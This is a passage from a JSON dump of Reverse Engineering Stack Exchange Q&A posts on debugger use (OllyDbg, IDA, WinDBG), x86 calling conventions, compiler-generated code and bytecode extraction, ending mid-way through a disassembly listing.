        "Answer": "<p>You must set hardware breakpoint on execute in that address:</p>\n\n<p>first find your tracing routine and flow in dump:</p>\n\n<p><a href=\"https://i.stack.imgur.com/tLlLn.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tLlLn.png\" alt=\"enter image description here\"></a></p>\n\n<p>then create hwbp:</p>\n\n<p><a href=\"https://i.stack.imgur.com/IOdU6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IOdU6.png\" alt=\"enter image description here\"></a></p>\n\n<p>set on execute on the first byte of this routine :</p>\n\n<p><a href=\"https://i.stack.imgur.com/chSPl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/chSPl.png\" alt=\"enter image description here\"></a></p>\n\n<p>now when call to this function ollydbg show the call:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Svt4C.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Svt4C.png\" alt=\"enter image description here\"></a> </p>\n"
    },
    {
        "Id": "10734",
        "CreationDate": "2015-08-28T16:48:41.833",
        "Body": "<pre><code>000007FEEC55CF58| 48 8D 0D F1 A7 0B 00 | lea rcx,qword ptr ds:[7FEEC617750] | ;7FEEC617750:\"500117367\"\n</code></pre>\n\n<p>I see the above line in the ollyDBG which has the value of <code>\"500117367\"</code> according to the comment made by the ollyDBG itself. </p>\n\n<p>However, I don't know how to access the dereferenced pointer value. When I press <kbd>Ctrl</kbd> + <kbd>G</kbd> and go to the <code>7FEEC617750</code> memory address, I get an expression like <code>push rbx</code> which is not the value shown in the ollyDBG. </p>\n\n<p>I am pretty confused by how I should use the offsets and stack in ollyDBG. <em>I simply want to know how to access the value of pointer shown in the comment of ollyDBG <code>[7FEEC617750]</code> and also find out what accesses and writes to <code>[7FEEC617750]</code>.</em></p>\n\n<p><strong>P.S</strong> Thanks to AcidShout for pinpointing, indeed, the debugger is <code>x64_dbg</code> the cousin of ollyDBG :)</p>\n",
        "Title": "Failure at finding the value of the dereferenced pointer",
        "Tags": "|disassembly|address|assembly|pointer|",
        "Answer": "<p>Right-click on the disassembly line above in OllyDbg and choose <code>Follow in Dump</code>. That will tell OllyDbg to navigate to address <code>7FEEC617750</code> in the dump pane and allow you to see the memory at that address:</p>\n\n<p><a href=\"https://i.stack.imgur.com/FSTPZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FSTPZ.png\" alt=\"Follow in Dump\"></a></p>\n\n<p>To see what accesses and writes to the memory at that address, right-click in the dump pane on the first byte of memory at that address and set a hardware breakpoint on-access:</p>\n\n<p><a href=\"https://i.stack.imgur.com/DJl27.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DJl27.png\" alt=\"Hardware Breakpoint\"></a></p>\n\n<p><strong>Edit:</strong></p>\n\n<p>All that said, AcidShout's two comments above in response to your question are spot-on!</p>\n"
    },
    {
        "Id": "10738",
        "CreationDate": "2015-08-29T02:46:43.440",
        "Body": "<p>If I were to disassemble a malware sample in IDA without being in a VM, is there any way I can infect my machine?</p>\n",
        "Title": "Is it dangerous to disassemble malware in IDA?",
        "Tags": "|ida|malware|",
        "Answer": "<p>The recommended workflow is to make the initial database (idb) by running IDA within a VM. That way you are safe even in case of a possible zero day.</p>\n\n<p>The idb file can then be taken out of the VM and analyzed elsewhere. The idb does not contain runnable machine code, so you are safe.</p>\n\n<p>If you want to perform any dynamic analysis on the malware, you need to use a VM.</p>\n"
    },
    {
        "Id": "10744",
        "CreationDate": "2015-08-29T16:27:41.310",
        "Body": "<p>I am trying to attach the WinDBG to particular process but I constantly get the error below :\n<a href=\"https://i.stack.imgur.com/M2puS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/M2puS.png\" alt=\"enter image description here\"></a> <br/>\nI am using win 7 x64 and am trying to debug x64 application.\nI run the IDA Pro with admin privileges. I have run the application both with admin privilege and the user one. I even tried to run it on different windows user account with admin privilege but I still get the same error.</p>\n",
        "Title": "Attaching debugger to process IDA Pro privilege problem",
        "Tags": "|ida|idapro-sdk|process|error-messages|",
        "Answer": "<p>AFAIK you cannot debug a 64 bit application locally with IDA Pro. \n<br>You need to use remote debugging.</p>\n\n<p>See this page: <a href=\"https://www.hex-rays.com/products/ida/debugger/#details\" rel=\"nofollow\">https://www.hex-rays.com/products/ida/debugger/#details</a>\n<br>and this: <a href=\"https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32towin64.shtml\" rel=\"nofollow\">https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32towin64.shtml</a></p>\n"
    },
    {
        "Id": "10753",
        "CreationDate": "2015-08-30T23:04:08.333",
        "Body": "<p>I frequently see code formatted like this:</p>\n\n<pre><code>push arg\npush arg\n(...)\nmov ecx, arg\ncall function\n</code></pre>\n\n<p>If I need to call that function in Assembly, it's fine. But since I know how to consistently get the base of the functions, for the sake of organization and simplicity, I'd like to use typedefs in a DLL to call the functions. </p>\n\n<p>The problem's that I have no idea how to make a call use ecx to pass data. Unless I'm mistaken, <code>func(arg,arg)</code> will always assemble to two pushes and a call. If I don't use ecx the function crashes because it's a pointer to an object and it needs to be that. Is there any way to do this without inline assembly which I'd like to avoid?</p>\n",
        "Title": "mov ecx, arg - How to replicate in C++?",
        "Tags": "|assembly|c++|call|",
        "Answer": "<p>You can either typedef it like this:</p>\n\n<pre><code>// typedef &lt;return-type&gt;(__thiscall* &lt;type-name&gt;)(&lt;ecx&gt;, &lt;stack-1&gt;, &lt;stack-2&gt;);\ntypedef int(__thiscall* tSomeFunc)(int thisPtr, int arg1, int arg2);\ntSomeFunc func = (tSomeFunc) 0xBAADC0DE;\n\n// this is how you call it\nfunc(/* this */ 0x123, /* arg1 */ 1, /* arg2 */ arg2);\n</code></pre>\n\n<p>Or directly call it:</p>\n\n<pre><code>((int(__thiscall*)(int, int, int)) 0xDEADBABE)(/* this */ 0x123, 1, 2);\n</code></pre>\n\n<p>It relies on the fact that your calling convention <em>seems</em> to be <a href=\"https://msdn.microsoft.com/en-us/library/ek8tkfbw.aspx\"><code>__thiscall</code></a>, which stores the <code>this</code> pointer into <code>ecx</code> and then pushes the rest of the args to the stack.</p>\n"
    },
    {
        "Id": "10756",
        "CreationDate": "2015-08-31T10:25:27.417",
        "Body": "<p>From this blog article:</p>\n\n<blockquote>\n  <p><a href=\"http://www.alex-ionescu.com/?p=146\" rel=\"nofollow\">Windows PKI Internals (Signing Levels, Scenarios, Root Keys, EKUs &amp; Runtime Signers).</a> </p>\n</blockquote>\n\n<p>Windows 8 instituted the Signing Level, also sometimes referred to as the Signature Level. This undocumented number was a way for the system to differentiate the different types of Windows binaries, something that became a requirement for Windows RT as part of its requirement to prohibit the execution of Windows \u201cdesktop\u201d applications.</p>\n\n<p>How this signature level are determined on what basis ? Is that flag passed to CreateProcess or kernel handles this ?</p>\n",
        "Title": "How the signature level set to the process in Windows 8?",
        "Tags": "|cryptography|protection|windows-8|",
        "Answer": "<p>See <a href=\"http://2012.ruxconbreakpoint.com/assets/Uploads/bpx/alex-breakpoint2012.pdf\" rel=\"nofollow noreferrer\">http://2012.ruxconbreakpoint.com/assets/Uploads/bpx/alex-breakpoint2012.pdf</a>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/hZPmn.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hZPmn.jpg\" alt=\"Signing Levels\"></a></p>\n\n<p>So the signing level is embedded in the signed image's (file's) certificate. There are no special flags passed to <code>CreateProcess()</code>, but <code>PspCreateProcess()</code> (a kernel function that's executed as a result of <code>CreateProcess()</code>) extracts and validates the signing level from the executed image's certificate.</p>\n"
    },
    {
        "Id": "10759",
        "CreationDate": "2015-08-31T14:57:58.590",
        "Body": "<p>I'm reverse engineering some windows application. I came accross with this function that IDA recognized: </p>\n\n<pre><code>call __alloca_probe_16\n</code></pre>\n\n<p>I'm unable to find any documentation/reference on this function except <a href=\"http://microsoft.public.win32.programmer.kernel.narkive.com/i2VrpN4F/function-of-alloc-probe\" rel=\"nofollow\" title=\"here\">here</a>. The poster suggests that <code>__alloca_probe</code> is a support routine for the API <code>_alloca()</code> without providing any reference.</p>\n\n<p>I'm just wondering if anyone knows what this function does and where I can find reference to undocumented/internal(?) APIs like this in the future. </p>\n",
        "Title": "What is __alloca_probe_16 and what does it do?",
        "Tags": "|ida|assembly|",
        "Answer": "<p>This funcion enures that an <code>alloca()</code> call returns  a pointer aligned to 16 bytes boundary. You can see the comments in <code>alloca16.asm</code> in Visual C++' CRT sources:</p>\n\n<pre><code>; _alloca_probe_16, _alloca_probe_8 - align allocation to 16/8 byte boundary\n;\n;Purpose:\n;       Adjust allocation size so the ESP returned from chkstk will be aligned\n;       to 16/8 bit boundary. Call chkstk to do the real allocation.\n;Entry:\n;       EAX = size of local frame\n;\n;Exit:\n;       Adjusted EAX.\n;\n;Uses:\n;       EAX\n</code></pre>\n\n<p>NB: this comment seems to be stale; the current implementation tail-calls <code>_chkstk</code>, so the allocation (ESP adjustment) happens immediately.</p>\n"
    },
    {
        "Id": "10763",
        "CreationDate": "2015-08-31T21:37:36.593",
        "Body": "<pre><code>void __usercall sub_101A7850@&lt;eax&gt;(int a1@&lt;edx&gt;, int a2@&lt;ecx&gt;, int a3, int a4, int a5, int a6)\n</code></pre>\n\n<p>My first attempt (crashes):</p>\n\n<pre><code>__declspec(naked) void __stdcall callit(const int&amp; a1, const int&amp; a2, unsigned int a3, const int *a4, int a5, int *a6)\n    {\n        // void __usercall sub_101A7850@&lt;eax&gt;(int a1@&lt;edx&gt;, int a2@&lt;ecx&gt;, int a3, int a4, int a5, int a6)\n        __asm\n        {\n            mov ecx, [esp + 4] // a1\n            mov edx, [esp + 8] // a2\n            push [esp + 12] // a3\n            push [esp + 16] // a4\n            push [esp + 20] // a5\n            push [esp + 24] // a6\n            call funcaddr\n            retn 24\n        }\n    }\n</code></pre>\n\n<p>I have verified funcaddr is valid. Pretty sure its a __fastcall</p>\n",
        "Title": "How do I call this function in inline ASM? (MSVC++)",
        "Tags": "|assembly|c++|",
        "Answer": "<p>Just use something like this:</p>\n\n<pre><code>void call_sub_101A7850(int a1, int a2, int a3, int a4, int a5, int a6){\n    uintptr_t addr = 0x101A7850;\n    unsigned int result;\n    __asm {\n        mov edx, a1;\n        mov ecx, a2;\n        push a6;\n        push a5;\n        push a4;\n        push a3;\n        call addr;\n        add esp, 16;\n        mov result, eax;\n    }\n    return result;\n}\n</code></pre>\n\n<p>It seems to be <a href=\"https://msdn.microsoft.com/es-es/library/6xa169sk.aspx\" rel=\"nofollow\"><code>__fastcall</code></a>; however, in that calling convention, the first argument is stored in <code>ecx</code>, and the second one in <code>edx</code>, not like in your function's prototype, so you'll have to swap arguments order, like this:</p>\n\n<pre><code>typedef int(__fastcall* tTheFunc)(int a1, int a2, int a3, int a4, int a5, int a6);\ntTheFunc func = (tTheFunc) 0x101A7850;\nfunc(a2, a1, a3, a4, a5, a6);\n//   ^swapped order, because a fastcall will always put the first arg in ecx and second in edx\n</code></pre>\n\n<p>You can also call it directly, like this:</p>\n\n<pre><code>((int(__fastcall*)(int, int, int, int, int, int)) 0x101A7850)(a2, a1, a3, a4, a5, a6);\n</code></pre>\n\n<p><strong>Here's what's wrong with your function:</strong></p>\n\n<ul>\n<li>Don't use naked functions to wrap assembly calls, you don't need it, and it just makes everything harder</li>\n<li>You can directly do <code>mov ecx, &lt;argument-name&gt;</code> instead of guessing where is the variable on the stack -- <code>mov ecx, a1</code> is much more intuitive, reliable and readable than <code>mov ecx, [esp + 4]</code></li>\n<li>You are doing a <code>retn 24</code> to clear your own function's pushed arguments, but <strong>you're not clearing what you've pushed for the called function</strong>, i.e. 16 more bytes (4 args * 4 bytes)</li>\n</ul>\n"
    },
    {
        "Id": "10771",
        "CreationDate": "2015-09-01T22:55:23.130",
        "Body": "<p>Which are the methods or which are the steps for from a asm disassembled function code  passing/converting it to 'C/C++' or other language and tell what happens.</p>\n",
        "Title": "Reversing a function, methodology",
        "Tags": "|disassembly|assembly|decompilation|",
        "Answer": "<p>For me the steps to reverse a function are usually this ones :</p>\n\n<ol>\n<li><p>Identify the calling convention used in the executable.</p></li>\n<li><p>try to identify all arguments passed to the function and understand their types and usages :</p>\n\n<ul>\n<li>Look for stacked arguments and register's one.</li>\n<li>Analyze code around use of arguments to understand their types and use.</li>\n<li>identify references and structures.</li>\n<li>note for each argument if it is an INPUT one or an OUTPUT one, what is his type and purpose or guessed purposed.</li>\n<li>identify the return of the function (generally eax for example in x86) : what are the possible returning values ? Error return cases gives clues about come chunks of code of the function.</li>\n</ul></li>\n<li><p>Look code around calls to the function to try to figure out what the function is about.</p></li>\n<li><p>analyze the content of the function isolating chunks of code, each chunk corresponding to a line of C for example. To identify chunks :</p>\n\n<ul>\n<li>look the graph of function to figure out the different paths and the complexity level of the function. Try to identify patterns like switch, imbricated if, loops, etc.</li>\n<li>look for calls to another functions, library calls or API calls. For a non obfuscated code this is usually easy to do.</li>\n</ul></li>\n<li><p>this step is simultaneous to the precedent. Look the use of local variables and try to name them. For each local variable :</p>\n\n<ul>\n<li>is the variable re-used in the function for different purposes ? if so rename it with a generic type name.</li>\n<li>if the variable is used for a single purpose, try to understand what it is and name the variable in consequence.</li>\n</ul></li>\n<li><p>Don't expect to understand all the function with a single pass of analyze. Repeat the process. If a chunk of code is not clear, go to the next one and return later to the hard one. Each time you understand a chunk, review your previous work to see if your guessed are consistent with your new findings.</p></li>\n<li><p>If the function calls another functions, proceed with a bottom-up method like leafs are usually simples than branches and understanding leafs help to understand branches.</p></li>\n<li><p>Try to look at mixed source code C/asm for example, with a debugger or with  the good compiler switch (/FAs or /FAcs for example in Visual Studio).</p></li>\n</ol>\n\n<p>Hope that helps.</p>\n"
    },
    {
        "Id": "10772",
        "CreationDate": "2015-09-01T22:58:38.043",
        "Body": "<p>I will be distributing a c++ application, and I was wondering if there was any tools available to add an extra layer of security against reverse engineering. I'm looking for a quick fix because I don't want to spend a year learning RE, I just want to focus on my application. Should I be looking at anti debuggers, packers, or what? Is there any convenient libraries to use?</p>\n\n<p>I understand that nothing can stop reverse engineering, I just would like to make it more difficult if possible.</p>\n\n<p>Is there anything that is free or open source?</p>\n",
        "Title": "Anti reverse engineering tools that are easy to set up",
        "Tags": "|c++|binary|protection|",
        "Answer": "<p>Since you don't want to learn RE, there are some free/opensource and paid tools. </p>\n\n<p>For the first you probably should look <a href=\"https://reverseengineering.stackexchange.com/questions/1792/is-there-any-simple-open-source-windows-packer\">in the answers here</a>. </p>\n\n<p>If you feel like spending money you can find some relatively stronger packers like:\n<a href=\"http://vmpsoft.com/\" rel=\"nofollow\">VMProtect</a> or <a href=\"http://www.oreans.com/themida.php\" rel=\"nofollow\">themida</a>.</p>\n\n<p>Good luck!</p>\n"
    },
    {
        "Id": "10775",
        "CreationDate": "2015-09-02T02:39:38.320",
        "Body": "<p>I am wondering if it is possible to reverse engineer the calculator on this url:</p>\n\n<p><a href=\"http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw\" rel=\"nofollow\">http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw</a></p>\n\n<p>It appears to be a Joomla site with the Fabrik plugin driving the calculator. Some research suggests Fabrik uses Ajax, a language I know little about other than it is client-side calculation, so the source should be accessible(?)</p>\n\n<p>Glad of anyone's help.</p>\n",
        "Title": "Reverse Engineer Joomla fabrik calculator",
        "Tags": "|javascript|websites|",
        "Answer": "<p>The algorithm is on the server-side (and executed via an HTTP POST to <a href=\"http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw\" rel=\"nofollow\">http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw</a>), so you won't be able to directly extract the algorithm by just looking at the client-side HTML, JavaScript, etc.</p>\n\n<p>However, since there are only 3 input variables, it shouldn't be too difficult to write a program to submit many values, extract the output, and then extrapolate the formula by graphing the results.</p>\n"
    },
    {
        "Id": "10777",
        "CreationDate": "2015-09-02T07:45:52.870",
        "Body": "<p>I have an application which is executing oci statements using OCIStmtExecute(). I need to know which sql statement is being passed to OCIStmtPrepare on what action. Tried using API Monitor but there weren't OCI.dll functions. Also placing a breakpoint doesn't help since it's executing a notify statement almost every half a second.</p>\n",
        "Title": "How to monitor calls to an external library function?",
        "Tags": "|ida|",
        "Answer": "<blockquote>\n  <p>Tried using API Monitor but there weren't OCI.dll functions.</p>\n</blockquote>\n\n<p>OCI.dll most certainly does export functions, including <code>OCIStmtExecute()</code> and <code>OCIStmtPrepare()</code>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/SZXwu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SZXwu.png\" alt=\"OCIStmtExecute\"></a></p>\n\n<p>If you're not seeing them in API Monitor, it's because you've not told API Monitor to log them correctly, or because they're not really being called by the target process.</p>\n"
    },
    {
        "Id": "10784",
        "CreationDate": "2015-09-03T09:27:57.783",
        "Body": "<p>I've decompiled <strong>Win32</strong> executable that is the result of compilation of a program written in Moscow ML language. </p>\n\n<p>The resulting listing contains standard <strong>C</strong> <code>main</code> function that contains the call to <code>caml_main</code> that (as I understand) calls bytecode interpreter which interprets the bytecode containing in the executable.</p>\n\n<p>So my questions are:</p>\n\n<ol>\n<li><p>How to extract the bytecode without a lots of manual work?</p></li>\n<li><p>How to decompile the Moscow ML bytecode?</p></li>\n</ol>\n\n<p>Any help is appreciated.</p>\n",
        "Title": "Does anybody know which tools allow to get (pseudo) code from a Moscow ML executable?",
        "Tags": "|binary-analysis|decompilation|byte-code|",
        "Answer": "<blockquote>\n  <ol>\n  <li>How to extract the bytecode without a lots of manual work</li>\n  </ol>\n</blockquote>\n\n<p>As per <a href=\"https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L62\" rel=\"nofollow noreferrer\">https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L62</a>, the last 20 bytes of the EXE make up an <code>exec_trailer</code> structure:</p>\n\n<pre><code>static int read_trailer(int fd, struct exec_trailer * trail)\n{\n  unsigned char buffer[TRAILER_SIZE];\n\n  lseek(fd, (long) -TRAILER_SIZE, 2);\n  if (read(fd, (char*)buffer, TRAILER_SIZE) &lt; TRAILER_SIZE) \n    return TRUNCATED_FILE;\n  trail-&gt;code_size = read_size(buffer);\n  trail-&gt;data_size = read_size(buffer+4);\n  trail-&gt;symbol_size = read_size(buffer+8);\n  trail-&gt;debug_size = read_size(buffer+12);\n  trail-&gt;magic = read_size(buffer+16);\n  if (trail-&gt;magic == EXEC_MAGIC) return 0; else return BAD_MAGIC_NUM;\n}\n</code></pre>\n\n<p>And as per <a href=\"https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L229\" rel=\"nofollow noreferrer\">https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L229</a>, the bytecode begins at <code>(20 + trail.code_size + trail.data_size + trail.symbol_size + trail.debug_size)</code> bytes before the end of the file.</p>\n\n<blockquote>\n  <ol start=\"2\">\n  <li>How to decompile the Moscow ML bytecode?</li>\n  </ol>\n</blockquote>\n\n<p>The bytecode interpreter is defined here: <a href=\"https://github.com/kfl/mosml/blob/master/src/runtime/interp.c#L87\" rel=\"nofollow noreferrer\">https://github.com/kfl/mosml/blob/master/src/runtime/interp.c#L87</a></p>\n\n<p>However, even if you were to leverage the parser in that interpreter, the best you'd get is an intermediate representation of the code (consisting of the instructions in <a href=\"https://github.com/kfl/mosml/blob/master/src/runtime/instruct.h\" rel=\"nofollow noreferrer\">https://github.com/kfl/mosml/blob/master/src/runtime/instruct.h</a>), not the decompiled ML code itself.</p>\n\n<p>If you want to convert the intermediate instructions to an actual decompilation, that question would probably be better asked at <a href=\"https://stackoverflow.com/\">https://stackoverflow.com/</a>.</p>\n"
    },
    {
        "Id": "10803",
        "CreationDate": "2015-09-04T20:20:11.197",
        "Body": "<p>I'm trying to get a sense of the amount of time it takes to RE something, but I'm going to try to make this question as least subjective as possible.</p>\n\n<p>Imagine a very simple application that has only 100,000 lines of disassembly. Maybe it's a game like flappy bird, draws things to screen, a little physics, gets input, game mechanics, etc. Now imagine this in x86 disassembly with with highest optimization used, no debug symbols. </p>\n\n<p>For a reverse engineer who is moderately skilled, what is an estimate on the time it might take such an engineer to go through the assembly and understand how the app works.</p>\n\n<p>edit: To add more constraint, what I mean by \"understand how the app works\", I mean, know it well enough to create a near replica of the application using mostly the same implementation details. Flappy bird is a bad example because you can play it and you already have an idea of what it does. Pretend you don't know how it works.</p>\n",
        "Title": "How much time would it take to reverse engineer 100,000 lines of disassembly?",
        "Tags": "|disassembly|x86|",
        "Answer": "<p>The amount of time needed to understand assembly code does not grow linear. For example: You can understand a simple function with 10 lines of assembly relatively quickly (lets say 4-5 minutes). As the code grows the more complex it is to understand the code: You need to catch how different functions work together, so the equation does not result in 8-10 minutes.</p>\n\n<p>As L. Resnik made clear the amount of time vastly depends on the complexity of the code, but this is roughly the same for every standard application I would say. </p>\n\n<p>Understanding 100,000 lines of C code takes several weeks (Guess! I did never try to understand 100,000 lines of C code before), depending on the time you're actually working. With this basis I guess it takes several months with smart analysis. Of course \"several\" is wide-ranged, but I do not think you could answer anything more precise.</p>\n\n<p>Feel free to add something, as these are just my first thoughts.</p>\n"
    },
    {
        "Id": "10813",
        "CreationDate": "2015-09-06T18:29:17.087",
        "Body": "<p>I have an address (eg. 00423D8C) and I would like to know how to make a search on the <code>main thread</code> like this : <code>PUSH 00423D8C</code> (and so is it is possible).</p>\n\n<p>Here is an example of what I would like to get if I can do this search.</p>\n\n<p><a href=\"https://i.stack.imgur.com/HTfMc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HTfMc.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Search via push address in OllyDbg",
        "Tags": "|ollydbg|debugging|",
        "Answer": "<p>Right click on disasm -> Search for -> All commands:</p>\n\n<p><a href=\"https://i.stack.imgur.com/3bNYs.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3bNYs.png\" alt=\"enter image description here\"></a></p>\n\n<p>You put the command to search for (you can also use wildcards):</p>\n\n<p><a href=\"https://i.stack.imgur.com/EdmuA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EdmuA.png\" alt=\"enter image description here\"></a></p>\n\n<p>And you get a list of results:</p>\n\n<p><a href=\"https://i.stack.imgur.com/FzZjp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FzZjp.png\" alt=\"enter image description here\"></a></p>\n\n<p>Double-click on any result and it'll take you to that address in disasm view.</p>\n"
    },
    {
        "Id": "10816",
        "CreationDate": "2015-09-07T21:28:09.397",
        "Body": "<p>How can I remove the CTRL and + keypad whenever I am debugging PE file in IDA?\nAll of the disassembled codes are wrapped up whenever I debug a PE file and I see the message CTRL and + keypad to collapse the code. How can I remove that mode so I have all the code collapsed down while debugging in the first place?</p>\n",
        "Title": "IDA pro CTRL and + keypad whenever debugging",
        "Tags": "|ida|idapython|",
        "Answer": "<p>In the <em>Browser</em> tab of IDA's <em>Options</em> window, check <em>Unhide collapsed items automatically when jumping to them</em>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/wi3bE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wi3bE.png\" alt=\"IDA Options\"></a></p>\n\n<p>From IDA's help file:</p>\n\n<blockquote>\n  <p>If this option is set on, IDA will automatically uncollapse hidden\n  functions if the user decides to jump to them. As soon as the user\n  quits the function by pressing Esc, the function is automatically\n  collapsed again.</p>\n</blockquote>\n"
    },
    {
        "Id": "10820",
        "CreationDate": "2015-09-09T04:47:06.797",
        "Body": "<p>In order to be able to effectively reverse assembly one needs to understand how different compilers work, and what are the common code generation patterns. If you do not know them, you spent much more time figuring out something that is simply an artifact of compiler code generation. </p>\n\n<p>Given the above, I'd like to understand meaning of the following code. It's from <a href=\"https://github.com/richgel999/lzham_codec\" rel=\"nofollow noreferrer\">lzham_codec</a> library but as you will see in a moment it's not specific to it. I clone this git repo and then I compile the code with VS2015. I set a breakpoint to <a href=\"https://github.com/richgel999/lzham_codec/blob/master/lzhamdll/lzham_api.cpp#L9\" rel=\"nofollow noreferrer\">lzham_codec\\lzhamdll\\lzham_api.cpp</a> (line 9)</p>\n\n<p>Then I run lzhamtest and the breakpoint hits. I open the Disassembly window, and here is what I see:</p>\n\n<p><a href=\"https://i.stack.imgur.com/RZal7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RZal7.png\" alt=\"enter image description here\"></a></p>\n\n<p>This is an awful lot of code for a function that simply returns a constant. What is all this code for?</p>\n",
        "Title": "What is all this code for?",
        "Tags": "|assembly|c++|compilers|",
        "Answer": "<p>I'll assume you have a general understanding of the x86 processor architecture, registers, and how the stack works. If you don't, there are a lot of introductions, tutorials, and books out there, which explain things much better than I could in this post.</p>\n\n<p>The first 2 and last 3 instructions are standard function entry/exit code:</p>\n\n<pre><code>push ebp\nmov ebp, esp\n....\nmov esp, ebp\npop ebp\nret\n</code></pre>\n\n<p>they set up the stack for the function, resp. undo this and return to the caller.</p>\n\n<pre><code>sub esp, 0C0h\n</code></pre>\n\n<p>makes space for 192 (0xC0) bytes of local variables on the stack.</p>\n\n<p>The <code>push</code> and <code>pop</code> instructions save registers to the stack that get clobbered by the function, and restore them afterwards:</p>\n\n<pre><code>push ebx\npush esi\npush edi\n...\npop edi\npop esi\npop ebx\n</code></pre>\n\n<p>Note that <code>ebx</code> and <code>esi</code> aren't even touched by the rest of the code. But it seems you compiled without optimizations; the abi states that these registers shouldn't be changed by procedures, so the compiler saves them, and without optimizations, it doesn't realize it doesn't need them later and doesn't remove the <code>push? /</code>pop` from the code.</p>\n\n<pre><code>lea edi, [ebp-0C0h]\nmov ecx, 30h\nmov eax, 0cccccccch\nrep stos dword ptr es:[edi]\n</code></pre>\n\n<p>This fills all local variables with <code>0xCCCCCCCC</code>, but your C code shows no reason for that. Maybe it has to do with some variable declarations that isn't shown in the code, or maybe the compiler just initializes local variables to <code>0xCCCCCCCC</code> to prevent \"uninitialized variables have undefined values, don't let the code assume they are zero\" errors.</p>\n\n<p>What remains is</p>\n\n<pre><code>mov eax,1010h\n</code></pre>\n\n<p>which is the return instruction - function results are generally returned in the <code>eax</code> register, and <code>0x1010</code> seems to be what <code>LZHAM_DLL_VERSION</code> is defined to.</p>\n"
    },
    {
        "Id": "10823",
        "CreationDate": "2015-09-09T10:41:25.987",
        "Body": "<p>I have recently started getting into assembly for the purpose of reverse engineering. I started small with understanding basic datatypes, but I want to move on to more complex datatypes and functions. I am trying to understand what is happening in both methods <code>requestMaxPow</code> and <code>computePowers</code></p>\n\n<p>Here is the <strong>source</strong> that I use</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint requestMaxPow();\nint computerPowers(int);\nint main(){\n    int max = requestMaxPow();\n    computePowers(max);\n    return 0;\n}\n\nint requestMaxPow(){\n    int maxPow;\n\n    scanf (\"%d\", &amp;maxPow);\n    return maxPow;\n}\n\nint computePowers(int MaxPow){\n    int currentVal = 0;\n    int currentPow = 0;\n\n    for(;currentPow &lt; MaxPow; ++currentPow){\n        currentVal = currentPow * currentPow;\n    }\n}\nCompiled with GCC with the following arguments \"gcc -g -O0 morecomplex.c -o morecoplex\"\n</code></pre>\n\n<p>The assembly below is for the <strong>requestMaxPow</strong> method, which is the hardest for me to understand. Specifically I don't understand what \"gs\" means at 0xc5, and I have no idea what is going on between lines 0xce - 0x50. could someone well versed explain line by line what is happening?</p>\n\n<pre><code>(gdb) disassemble \nDump of assembler code for function requestMaxPow:\n   0x080484bf &lt;+0&gt;: push   ebp\n   0x080484c0 &lt;+1&gt;: mov    ebp,esp\n   0x080484c2 &lt;+3&gt;: sub    esp,0x18\n=&gt; 0x080484c5 &lt;+6&gt;: mov    eax,gs:0x14\n   0x080484cb &lt;+12&gt;:    mov    DWORD PTR [ebp-0xc],eax\n   0x080484ce &lt;+15&gt;:    xor    eax,eax\n   0x080484d0 &lt;+17&gt;:    sub    esp,0x8\n   0x080484d3 &lt;+20&gt;:    lea    eax,[ebp-0x10]\n   0x080484d6 &lt;+23&gt;:    push   eax\n   0x080484d7 &lt;+24&gt;:    push   0x80485b0\n   0x080484dc &lt;+29&gt;:    call   0x8048380 &lt;__isoc99_scanf@plt&gt;\n   0x080484e1 &lt;+34&gt;:    add    esp,0x10\n   0x080484e4 &lt;+37&gt;:    mov    eax,DWORD PTR [ebp-0x10]\n   0x080484e7 &lt;+40&gt;:    mov    edx,DWORD PTR [ebp-0xc]\n   0x080484ea &lt;+43&gt;:    xor    edx,DWORD PTR gs:0x14\n   0x080484f1 &lt;+50&gt;:    je     0x80484f8 &lt;requestMaxPow+57&gt;\n   0x080484f3 &lt;+52&gt;:    call   0x8048350 &lt;__stack_chk_fail@plt&gt;\n   0x080484f8 &lt;+57&gt;:    leave  \n   0x080484f9 &lt;+58&gt;:    ret    \nEnd of assembler dump.\n</code></pre>\n\n<p>The assembly for the <strong>computePowers</strong> method is much easier to understand. I include it just in case it has relevance to my main question.</p>\n\n<pre><code>(gdb) disassemble \nDump of assembler code for function computePowers:\n   0x080484fa &lt;+0&gt;: push   ebp\n   0x080484fb &lt;+1&gt;: mov    ebp,esp\n   0x080484fd &lt;+3&gt;: sub    esp,0x10\n=&gt; 0x08048500 &lt;+6&gt;: mov    DWORD PTR [ebp-0x4],0x0\n   0x08048507 &lt;+13&gt;:    mov    DWORD PTR [ebp-0x8],0x0\n   0x0804850e &lt;+20&gt;:    jmp    0x804851e &lt;computePowers+36&gt;\n   0x08048510 &lt;+22&gt;:    mov    eax,DWORD PTR [ebp-0x8]\n   0x08048513 &lt;+25&gt;:    imul   